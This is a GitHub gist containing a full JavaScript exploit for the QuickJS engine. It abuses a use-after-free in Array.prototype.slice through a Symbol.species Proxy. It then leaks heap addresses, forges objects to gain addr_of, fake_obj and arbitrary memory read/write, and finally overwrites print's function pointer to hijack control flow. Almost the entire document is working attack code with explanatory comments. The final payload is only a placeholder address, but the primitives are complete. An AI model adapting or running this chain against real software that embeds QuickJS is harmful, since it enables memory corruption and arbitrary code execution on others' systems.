Created
July 20, 2020 20:43
-
-
Save itszn/178c8395ec9e9161a3120a0484b051b3 to your computer and use it in GitHub Desktop.
quickjs explot
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* This exploit is targeting linux, tested on ubuntu 18.04 | |
* Techniques should generally work on other OSs but I don't have any to test easily | |
*/ | |
// Debugging functions | |
if (this.debug === undefined) | |
this.debug = ()=>{} | |
if (this.cc === undefined) | |
this.cc = ()=>{} | |
let gprint = (x) => { print("\x1b[92m"+x+"\x1b[0m") } | |
let bprint = (x) => { print("\x1b[91m"+x+"\x1b[0m") } | |
// Binary helper functions | |
var Binary = (function() { | |
let memory = new ArrayBuffer(8); | |
let view_u8 = new Uint8Array(memory); | |
let view_u32 = new Uint32Array(memory); | |
let view_f64 = new Float64Array(memory); | |
return { | |
view_u8: view_u8, | |
view_u32: view_u32, | |
view_f64: view_f64, | |
i64_to_f64: (i64) => { | |
view_u32[0] = i64.low; | |
view_u32[1] = i64.high; | |
return view_f64[0]; | |
}, | |
f64_to_i64: (f) => { | |
view_f64[0] = f; | |
return new Int64(view_u32[1], view_u32[0]); | |
}, | |
i32_to_u32: (i32) => { | |
// needed because 0xffffffff -> -1 as an int | |
view_u32[0] = i32; | |
return view_u32[0]; | |
}, | |
i64_to_str: (i64) => { | |
view_u32[0] = i64.low; | |
view_u32[1] = i64.high; | |
return String.fromCharCode.apply(null, view_u8); | |
}, | |
i32_to_str: (i64) => { | |
if (i64.low) | |
view_u32[0] = i64.low; | |
else | |
view_u32[0] = i64; | |
return String.fromCharCode.apply(null, view_u8).slice(0,4) | |
}, | |
i64_from_buffer: (buff, len=8) => { | |
let conv_buff; | |
if (buff.BYTES_PER_ELEMENT === 1) | |
conv_buff = view_u8; | |
else if (buff.BYTES_PER_ELEMENT === 4) | |
conv_buff = view_u32; | |
else if (buff.BYTES_PER_ELEMENT === 8) | |
conv_buff = view_f64; | |
// Copy bytes | |
view_u32[0] = 0; | |
view_u32[1] = 0; | |
for (let i=0; i<len/buff.BYTES_PER_ELEMENT; i++) { | |
conv_buff[i] = buff[i]; | |
} | |
return new Int64(view_u32[1], view_u32[0]); | |
}, | |
store_i64_in_buffer: (i64, buff, len=8, offset=0) => { | |
if (i64.low) { | |
view_u32[0] = i64.low; | |
view_u32[1] = i64.high; | |
} else { | |
view_u32[0] = i64; | |
view_u32[1] = 0 | |
} | |
let conv_buff; | |
if (buff.BYTES_PER_ELEMENT === 1) | |
conv_buff = view_u8; | |
else if (buff.BYTES_PER_ELEMENT === 4) | |
conv_buff = view_u32; | |
else if (buff.BYTES_PER_ELEMENT === 8) | |
conv_buff = view_f64; | |
// Copy bytes | |
for (let i=0; i<len/buff.BYTES_PER_ELEMENT; i++) { | |
buff[i] = conv_buff[i]; | |
} | |
} | |
} | |
})(); | |
// Simple Int64 class | |
class Int64 { | |
constructor(high, low) { | |
if (low === undefined) { | |
this.high = 0; | |
this.low = high; | |
} else { | |
this.high = high; | |
this.low = low; | |
} | |
} | |
toString() { | |
// Return as hex string | |
return '0x'+Binary.i32_to_u32(this.high) | |
.toString(16).padStart(8,'0') + | |
Binary.i32_to_u32(this.low) | |
.toString(16).padStart(8,'0'); | |
} | |
_add_inplace(high, low) { | |
let tmp = Binary.i32_to_u32(this.low) + Binary.i32_to_u32(low); | |
this.low = tmp & 0xffffffff; | |
let carry = (tmp > 0xffffffff)|0; | |
this.high = (this.high + high + carry) & 0xffffffff; | |
return this; | |
} | |
add_inplace(v) { | |
if (v instanceof Int64) | |
return this._add_inplace(v.high, v.low); | |
return this._add_inplace(0, v); | |
} | |
add(v) { | |
let res = new Int64(this.high, this.low); | |
return res.add_inplace(v); | |
} | |
_sub_inplace(high, low) { | |
// Add with two's compliment | |
this._add_inplace(~high, ~low)._add_inplace(0, 1); | |
return this | |
} | |
sub_inplace(v) { | |
if (v instanceof Int64) | |
return this._sub_inplace(v.high, v.low); | |
return this._sub_inplace(0, v); | |
} | |
sub(v) { | |
let res = new Int64(this.high, this.low); | |
return res.sub_inplace(v); | |
} | |
} | |
/* ------ Exploit start ------- */ | |
// This is the size of the backing data of the array buffer we use for the UAF later | |
let SIZE = 0x800; | |
let some_obj; | |
/* | |
* The bug here is a UAF in array.p.split: | |
* 1. Override the constructor for an array with a hook to Symbol.species | |
* This will get called during the split when a new array is created | |
* 2. Symbol.species should return a Proxy with defineProperty hooked | |
* 3. During the slice fast path there is a loop | |
* | |
* for (; k < final && k < count32; k++, n++) { | |
* ... JS_CreateDataPropertyUint32(ctx, arr, n, JS_DupValue(ctx, arrp[k]), ...) ... | |
* | |
* This will trigger defineProperty during the fast path loop | |
* 5. Change the array to be property elements, this will free the arrp ptr | |
* 6. The loop still uses this pointer causing a UAF | |
*/ | |
let is_64 = null; | |
function hack(size, action, start, end) { | |
// Allocate a backing array for given size | |
let t = new Array(size); | |
// Fill with tagged floats (important for 64bit) | |
t.fill(1.1); | |
t.constructor = {[Symbol.species]: function () { | |
let evil = new Proxy({}, { | |
defineProperty(x, key, desc) { | |
if (key === '0') { | |
// Change the array to have property elements | |
t[1000] = 1; | |
// t.u.array.values is now free'd but split will keep using it | |
} | |
action(key, desc); | |
return true; | |
} | |
}); | |
return evil; | |
}}; | |
// Trigger bug | |
let o = t.slice(start, end); | |
} | |
let nop = {set: function(){}}; | |
// Fill in some potential holes in the heap | |
let save = new Array(100); | |
for (let i=0; i<100; i++) { | |
save[i] = [1,2]; | |
} | |
/* | |
* We need to tell if we are running 32 bit or 64 bit | |
* | |
* This can be done by using the bug to UAF with a property array | |
* JSPropertys can either be JSValues or getter/setter pair | |
* | |
* Reading the getter/setter as a JSValue depends on NaN-Boxing or not | |
* - On 32 bit we get a float because large tags means NaN-boxed float | |
* - On 64 bit we get a bad object because large tags are invalid | |
*/ | |
hack(0x2, function(key, desc) { | |
if (key === '0') { | |
some_obj= {a:1}; | |
Object.defineProperty(some_obj, 'b', nop); | |
} else if (key === '1') { | |
is_64 = typeof(desc.value) == 'unknown' | |
} | |
}, 0, 2); | |
if (is_64) | |
print("[+] We are on 64 bit system!") | |
else | |
print("[+] We are on 32 bit system!") | |
let fake_obj_holder; | |
let prop_arr_leak = new Int64(0); | |
// Fake string | |
// For 32 bits we have to NaN-box the top to a kind large size | |
let string_header = Binary.i64_to_f64(new Int64(is_64? 8 : 0x80000013, 0xffff)); | |
let some_array; | |
let upper_heap_addr; | |
if (is_64) { | |
/* | |
* Since we have to use a tagged int to leak the property array, we are | |
* missing 2 bytes of the pointer. To leak these bytes we will use the UAF and | |
* uninitialized memory | |
* | |
* The JSArrayBuffer pointer of the ArrayBuffer object can be accessed as | |
* a JSValue using an uninitialized 7 | |
* | |
* --=== UAF Memory ===-- | |
* [ flags ] [ link1 ] | |
* [ link2 ] [ shape ] | |
* [ props ] [ wkref ] | |
* [ arrbf ] < 7 > <--- Read as JSValue (Ta | |
*/ | |
hack(4, function(key, desc) { | |
if (key === '0') { | |
// ArrayBuffer to leak | |
some_array = new ArrayBuffer(1); | |
} | |
if (key === '1') { | |
Binary.view_f64[0] = desc.value; | |
upper_heap_addr = Binary.view_u32[1]; | |
prop_arr_leak.high = upper_heap_addr; | |
print("[+] JSArrayBuffer>>32 == 0x"+upper_heap_addr.toString(16)); | |
} | |
}, 2,4); | |
} | |
/* | |
* The goal of the first stage is to leak a pointer to a set of jsvalues | |
* | |
* On 64 bits, we do this by leaking a property pointer. Since the first_weak_ref | |
* will be zero (int tag) we can just read it as a tagged integer | |
* | |
* --=== UAF Memory ===-- | |
* [ flags ] [ link1 ] | |
* [ link2 ] [ shape ] | |
* [ props ] [ 0 ] <--- Read as JSValue (Tagged Int) | |
* | |
* On 32 bits, we do this by leaking the array values pointer | |
* When we read it as a JSValue, the element count will be the tag, so we have | |
* to make sure the element count will give us a valid NaN-boxed float | |
* | |
* The smallest size we can do is 0x80000 elements | |
* | |
* --=== UAF Memory ===-- | |
* [ flags ] [ flags ] | |
* [ link1 ] [ link2 ] | |
* [ shape ] [ props ] | |
* [ wkref ] [ asize ] | |
* [ avals ] [ 0x80000 ] <--- Read as JSValue (NaN-Boxed Float64) | |
* | |
*/ | |
hack(is_64? 0x4 : 0x5, function(key, desc) { | |
if (key === '0') { | |
// Allocate object in UAF memory | |
// This is set up for a fake string object we will fake_obj later | |
if (is_64) { | |
fake_obj_holder = { | |
a:string_header, | |
b:0x41424344, | |
c:1 | |
}; | |
} else { | |
fake_obj_holder = [1]; | |
fake_obj_holder.length = 0x80000; | |
fake_obj_holder.fill(0); | |
fake_obj_holder[0] = string_header; | |
fake_obj_holder[2] =0x41424344; | |
} | |
} else if (key === '1') { | |
if (is_64) { | |
// Now we read the property array pointer from confused object | |
prop_arr_leak.low = desc.value; | |
} else { | |
// We can now grab the value from our float | |
Binary.view_f64[0] = desc.value; | |
prop_arr_leak.low = Binary.view_u32[0]; | |
} | |
print("[+] property array @ "+ prop_arr_leak.toString(16)); | |
if (prop_arr_leak.low === 0) { | |
bprint("Failed to get property array") | |
throw("Failed"); | |
} | |
} | |
}, is_64? 1 : 3, is_64? 3 : 5); | |
// Used later for better fake_obj/addr_of later on | |
let real_jsvalue_array = [1,1]; | |
let confused_buffer; | |
let confused_buffer_accessor; | |
let fake_string; | |
let fake_array; | |
let fake_obj_offset; | |
let fake_array_data; | |
let primitives = {}; | |
/* | |
* The goal of the second stage is to replace the UAF with typed array memory. | |
* This will allow us to write arbitrary JSValues and get a fake_obj | |
* | |
* However we can only trigger this fake_obj during the slice callbacks, so we | |
* will create a fake JSString and a fake JSArray to create stable addr_of and fake_obj | |
*/ | |
hack(is_64? SIZE/0x10 : SIZE/8, function(key, desc) { | |
if (key === '0') { | |
// Allocate the arraybuffer so we can control data in the UAF | |
confused_buffer = new ArrayBuffer(SIZE); | |
confused_buffer_accessor = new DataView(confused_buffer); | |
// Write indexes into the buffer so we can see how far we are accessing | |
for (let i=0; i<SIZE; i+=(is_64? 16 : 8)) { | |
confused_buffer_accessor.setInt32(i, i, true); | |
} | |
} else if (key === '1') { | |
// Find what offset into the buffer we are accessing | |
fake_obj_offset = desc.value; | |
print("[+] found offset in ArrayBuffer: " + fake_obj_offset + "\x1b[0m"); | |
/* | |
* The next access will read the following memory we write as a JSValue | |
* | |
* This lets us create a fake string within the fake_obj_holder object | |
* we previous leaked the array/properties of | |
*/ | |
fake_obj_offset += is_64? 16 : 8; | |
// Write the pointer to the JSValues we control in fake_obj_holder | |
confused_buffer_accessor.setUint32(fake_obj_offset, prop_arr_leak.low, true); | |
if (is_64) | |
confused_buffer_accessor.setUint32(fake_obj_offset+4, | |
prop_arr_leak.high, true); | |
// Set the JSValue tag to be -7 for a tagged string | |
confused_buffer_accessor.setInt32(fake_obj_offset + (is_64? 8 : 4), -7, true); | |
} else if (key === '2') { | |
/* | |
* Now that we have created the fake string we can use it to read other JSValues | |
* within the fake_obj_holder object. This will let us create addr_of by leaking | |
* the tagged pointer values using the fake_string | |
*/ | |
fake_string = desc.value; | |
primitives.addr_of = function(jsvalue) { | |
if (is_64) { | |
fake_obj_holder.b = jsvalue; | |
} else { | |
fake_obj_holder[2] = jsvalue; | |
} | |
for(let i=0; i< (is_64 ? 8 : 4); i++) { | |
Binary.view_u8[i] = fake_string.charCodeAt(i); | |
} | |
return new Int64(is_64 ? Binary.view_u32[1] : 0, Binary.view_u32[0]); | |
} | |
/* | |
* At this point we want a better fake_obj as this one only works during the slice | |
* | |
* In 64 bits we can do this by making a fake array, which points offset to a real | |
* set of JSValues | |
* | |
* real JSArray -> [ value ][ tag ][ value ][ tag ] | |
* fake JSArray -> [ value ][ tag ] | |
* | |
* This will give us fake_obj this way: | |
* 1. Write address as tagged float to real[0] (real[0] tag will now be 7) | |
* 2. Write -1 as tagged int to fake[0] (real[0] tag will now be -1) | |
* 3. Read real[0] as JSObject | |
* 4. Write 7 as tagged int to fake[0] to fix up memory | |
* | |
* We are creating the fake object data in a string since it is easy to addr_of | |
*/ | |
if (is_64) { | |
fake_array_data = | |
"\xff\xff\0\0\ | |
\0\x0d\ | |
\x02\x00\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0\ | |
\x01\0\0\0\0\0\0\0" + | |
Binary.i64_to_str(prop_arr_leak.add_inplace(0x18)) + | |
"\x01\0\0\0\0\0\0\0"; | |
} else { | |
fake_array_data = | |
"\xff\xff\0\0\ | |
\0\x0d\ | |
\x02\x00\ | |
\0\0\0\0\ | |
\0\0\0\0\ | |
\0\0\0\0\ | |
\0\0\0\0\ | |
\0\0\0\0\ | |
\x01\0\0\0" + | |
Binary.i32_to_str(prop_arr_leak.add_inplace(0x14)) + | |
"\x01\0\0\0"; | |
} | |
let addr = primitives.addr_of(fake_array_data).add_inplace(0x10); | |
print("[+] fake_array_data @ "+addr.toString(16)); | |
fake_obj_offset += is_64? 16 : 8; | |
confused_buffer_accessor.setUint32(fake_obj_offset, addr.low, true); | |
if (is_64) { | |
confused_buffer_accessor.setUint32(fake_obj_offset + 4, addr.high, true); | |
} | |
confused_buffer_accessor.setInt32(fake_obj_offset + (is_64? 8 : 4), -1, true); | |
} else if (key === '3') { | |
// We now have our fake array, so we can build fake_obj as described above | |
fake_array = desc.value; | |
if (is_64) { | |
primitives.fake_obj = function(addr) { | |
// Write as tagged float (tag 7) | |
fake_obj_holder.b = Binary.i64_to_f64(addr); | |
// Set tag to -1 | |
fake_array[0] = -1|0; | |
// Read as tagged object | |
let obj = fake_obj_holder.b; | |
// Fix tag | |
fake_array[0] = 7|0; | |
return obj; | |
} | |
} else { | |
primitives.fake_obj = function(addr) { | |
// Write as tagged int (tag 0) | |
fake_obj_holder[2] = addr.low; | |
// Set tag to -1 | |
fake_array[0] = -1|0; | |
// Read as tagged object | |
let obj = fake_obj_holder[2]; | |
// Fix tag | |
fake_array[0] = 0|0; | |
return obj; | |
} | |
} | |
} | |
}, 20, 20+4); | |
let sanity1 = function() { | |
let x = {x:1337}; | |
let addr = primitives.addr_of(x) | |
let y = primitives.fake_obj(addr); | |
if (y.x !== 1337) { | |
bprint("Failed to get addr_of/fake_obj") | |
throw("Failed"); | |
} | |
} | |
sanity1(); | |
gprint("[+] fake_obj / addr_of all good"); | |
/* | |
* To get arbitrary read/write we can make a fake Uint32Array | |
* The only field we need to set is u.array.u.ptr and u.array.count | |
* So its easy to just do this with fake_obj | |
* | |
* We will point this fake Uint32Array at a real Uint32Array to | |
* make it easy to modify u.array.u.ptr | |
*/ | |
let real_array_buffer = new Uint8Array(0x1000); | |
let real_array_buffer_ptr = primitives.addr_of(real_array_buffer); | |
print("[+] real_array_buffer @ "+real_array_buffer_ptr.toString(16)); | |
let fake_typed_array_data; | |
if (is_64) { | |
fake_typed_array_data = | |
"\xff\xff\0\0\ | |
\0\x0d\ | |
\x1b\x00\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0\ | |
\0\0\0\0\0\0\0\0" + | |
Binary.i64_to_str(real_array_buffer_ptr) + | |
"\0\0\x01\0\0\0\0\0"; | |
} else { | |
fake_typed_array_data = | |
"\xff\xff\0\0\ | |
\0\x0d\ | |
\x1b\x00\ | |
\0\0\0\0\ | |
\0\0\0\0\ | |
\0\0\0\0\ | |
\0\0\0\0\ | |
\0\0\0\0\ | |
\0\0\0\0" + | |
Binary.i32_to_str(real_array_buffer_ptr) + | |
"\0\0\x01\0"; | |
} | |
let fake_typed_array_data_ptr = primitives.addr_of(fake_typed_array_data).add_inplace(0x10); | |
print("[+] fake_typed_array_data @ "+fake_typed_array_data_ptr.toString(16)); | |
let fake_array_buffer = primitives.fake_obj(fake_typed_array_data_ptr); | |
primitives.set_addr = function(addr, val) { | |
if (is_64) { | |
fake_array_buffer[14] = addr.low; | |
fake_array_buffer[15] = addr.high; | |
} else { | |
fake_array_buffer[8] = addr.low? addr.low : addr; | |
} | |
} | |
primitives.read_64 = function(addr) { | |
primitives.set_addr(addr); | |
return Binary.i64_from_buffer(real_array_buffer); | |
} | |
primitives.read_32 = function(addr) { | |
primitives.set_addr(addr); | |
return Binary.i64_from_buffer(real_array_buffer, 4); | |
} | |
primitives.write_64 = function(addr, val) { | |
primitives.set_addr(addr); | |
Binary.store_i64_in_buffer(val, real_array_buffer); | |
} | |
primitives.write_32 = function(addr, val) { | |
primitives.set_addr(addr); | |
Binary.store_i64_in_buffer(val, real_array_buffer, 4); | |
} | |
primitives.read_ptr = function(addr) { | |
if (is_64) return primitives.read_64(addr); | |
return primitives.read_32(addr); | |
} | |
primitives.write_ptr = function(addr, value) { | |
if (is_64) return primitives.write_64(addr, value); | |
return primitives.write_32(addr, value); | |
} | |
let sanity2 = function() { | |
let x = new Uint32Array(8); | |
x[0] = 0x41424344; | |
let addr = primitives.addr_of(x); | |
if (is_64) { | |
let data = primitives.read_ptr(addr.add_inplace(0x38)); | |
primitives.write_32(data, 0x51525354); | |
} else { | |
let data = primitives.read_ptr(addr.add_inplace(0x20)); | |
primitives.write_32(data, 0x51525354); | |
} | |
if (x[0] != 0x51525354){ | |
bprint("Failed to get arb read/write") | |
throw("Failed") | |
} | |
} | |
sanity2(); | |
gprint("[+] Arbitrary Read/Write working!"); | |
let print_ptr = primitives.addr_of(print) | |
print_ptr.add_inplace(is_64 ? 0x30 : 0x1c); | |
let print_code_ptr = primitives.read_ptr(print_ptr); | |
print("[+] print @ "+print_code_ptr); | |
gprint(`[+] Ok going to hijack ${is_64? 'RIP':'EIP'} now because why now`); | |
primitives.write_ptr(print_ptr, 0x41424344); | |
print("bye bye"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment